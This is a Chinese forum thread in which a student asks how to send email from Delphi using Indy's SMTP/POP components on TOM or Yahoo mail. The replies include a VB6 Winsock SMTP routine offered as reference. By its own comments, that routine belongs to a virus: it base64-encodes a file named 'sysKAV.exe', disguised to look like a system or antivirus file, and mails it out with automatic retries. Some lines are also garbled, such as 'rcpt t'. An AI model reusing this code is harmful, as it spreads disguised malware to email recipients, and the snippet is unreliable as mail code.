哪位高人能相告INDY的IDSMTP和IDPOP控件如何用TOM或是YAHOO发送邮件?急!!!!!(100分)

  • 主题发起人 主题发起人 rxf9703
  • 开始时间 开始时间
R

rxf9703

Unregistered / Unconfirmed
GUEST, unregistred user!
[blue]哪位高人能相告INDY的IDSMTP和IDPOP控件如何用TOM或是YAHOO发送邮件?
我是一个学生,这是为了完成老师的一个作业,我下载了IndyDemos,但是还是不知道,看不懂。十分着急!!!
哪位高人若能让我的DELPHI系统发送邮件成功,必有[red]重谢[/red]!!![/blue]
 
顶起来!
 
VB写过发邮件的~要不要参考~~
delphi indy没写过~~
 
详细地址请看:http://vbworld.sxnw.gov.cn/newbbs/dispbbs.asp?boardID=4&ID=8197&page=2

'-------------------------这个函数用来发邮件(及其附件)---------------------------------------
Private Sub SendEmail(MailServerName As String, _
FromEmailAddress As String, FromName As String, ToEmailAddress As String, _
ToName As String, EmailSubject As String, EmailBodyOfMessage As String, _
EmialPassword As String, EmialUsername As String)

Dim sndData As Variant
Dim lenFile As Long '保存病毒文件长度
Dim more As Long

Dim FnumIn As Integer
Dim mInByte(4) As Byte, mOutByte(3) As Byte
Dim myByte As Byte
Dim i As Integer, LineLen As Integer, j As Integer
Dim ByteNum As Integer

Dim first As String, Second As String, Third As String
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Eighth As String

On Error GoTo RepSend '出现错误,重新开始发送邮件
sckMail.LocalPort = 0 '系统随机分配端口
If sckMail.State = sckClosed Then '检查winsock的状态是否为关

first = "mail from:" + Chr(32) + FromEmailAddress + vbCrLf '发件人地址
Second = "rcpt t" + Chr(32) + ToEmailAddress + vbCrLf '收件人地址
Third = "Date:" + Chr(32) + Format(Date, "Ddd") & ", " & _
Format(Date, "dd Mmm YYYY") & " " & Format(Time, "hh:mm:ss") _
& "" & " -0600" + vbCrLf '时间
Fourth = "From:" + Chr(32) + FromName + vbCrLf '发件人
Fifth = "T" + Chr(32) + ToNametxt + vbCrLf '收件人
Sixth = "Subject:" + Chr(32) + EmailSubject + vbCrLf '主题
Seventh = EmailBodyOfMessage + vbCrLf '正文
Ninth = "X-Mailer: lj v 2.x" + vbCrLf
Eighth = Fourth + Third + Ninth + Fifth + Sixth

sckMail.Protocol = sckTCPProtocol ' 设置协议为TCP
sckMail.RemoteHost = MailServerName ' SMTP地址
sckMail.RemotePort = 25 ' SMTP端口

sckMail.Connect ' 开始连接
WaitFor ("220")

sckMail.SendData ("HELO HuBeiJiaoYuan040313" + vbCrLf) ''-----change it!
WaitFor ("250")


'--------------进行校验LOGIN-------------------
sckMail.SendData ("AUTH LOGIN" + vbCrLf)
WaitFor ("334")
sckMail.SendData (Base64EncodeString(EmialUsername) + vbCrLf) '输入用户名----change it!
WaitFor ("334")
sckMail.SendData (Base64EncodeString(EmialPassword) + vbCrLf) '输入用户口令---change it!
WaitFor ("235")
'-------------------------------------

sckMail.SendData (first) '发送mail from 指令
WaitFor ("250")

sckMail.SendData (Second) '发送 rcpt to 指令
WaitFor ("250")
sckMail.SendData ("data" + vbCrLf) '开始发送数据
WaitFor ("354")


sckMail.SendData (Eighth + vbCrLf) '这些是邮件正文的头部
sckMail.SendData (Seventh + vbCrLf)
'---------------------这里开始发送附件-------------------------
' ~78tmp.txt是一个临时文件,保存加密后的内容,用完后就会删了它
' sysKAV.exe就是病毒文件名字。生成EXE时必须改名为sysKAV.exe
' 呵呵~~看起来像是sytem & KAV ,想不到是病毒文件吧?!
Call Base64EncodeFile(SysDir() & "sysKAV.exe", TempPath() & "~78tmp.txt")
FnumIn = FreeFile()
Open TempPath & "~78tmp.txt" For Binary As #FnumIn

more = LOF(FnumIn) Mod 20000
lenFile = CLng(LOF(FnumIn) / 20000)
For x = 1 To lenFile
sndData = ""
For y = 0 To 19999
DoEvents
Get #FnumIn, , myByte
sndData = sndData + myByte
Next
sckMail.SendData sndData '发送20000Byte的数据
Next x
While Not EOF(FnumIn)
DoEvents
Get #FnumIn, , myByte
sndData = sndData + myByte
Wend
sckMail.SendData sndData '发送剩下的数据
Close FnumIn
Kill TempPath() & "~78tmp.txt" '删除~78tmp.txt
'--------附件发送完毕-----------
sckMail.SendData ("." + vbCrLf) '邮件正文结束
WaitFor ("250")

sckMail.SendData ("quit" + vbCrLf) '发送quit指令,结束事务。
WaitFor ("221")
sckMail.Close
End If
Exit Sub
RepSend: Timer1.Enabled = False
Call LoopSend
End Sub
'---------------------------------------------------------------------------------------
Private Sub WaitFor(ResponseCode As String) '检查是否收到SMTP服务器的返回代码
Start = Timer
Response = Trim(Response)
While Len(Trim(Response)) = 0 '服务器没有响应
Tmr = Timer - Start
DoEvents
If Tmr > 50 Then
GoTo RepSend
End If
Wend

While Left(Response, 3) <> ResponseCode '提起服务器响应码的前3位
Tmr = Timer - Start
DoEvents
If Tmr > 50 Then
Print &quot;Time out&quot;
GoTo RepSend
End If
Wend
Exit Sub
RepSend: Response = &quot;&quot; ' Response清空
Timer1.Enabled = False '重新开始发送邮件
Call LoopSend
End Sub
'---------------------------
 
不行啊 linuxping,VB的代码我还是看不懂。还有没有其他高手可以帮我啊 先谢过!紧急!
 
在Indy的Demo里有,你可以到Indy的主页上下载
 
hmilyyanggq,我早就下载了Indydemos 但是还是看不懂啊
里面有很多文件夹,应该用哪个呢????
急,后天就要交了!!!
 
我的系统现在就剩下发送邮件这个模块了,晕,高人快来啊!!SOS!!
 
yahoo好像只支持在线收发的吧?!不支持smtp/pop的.
 
那哪个邮箱可以支持不在线收发?
 
后退
顶部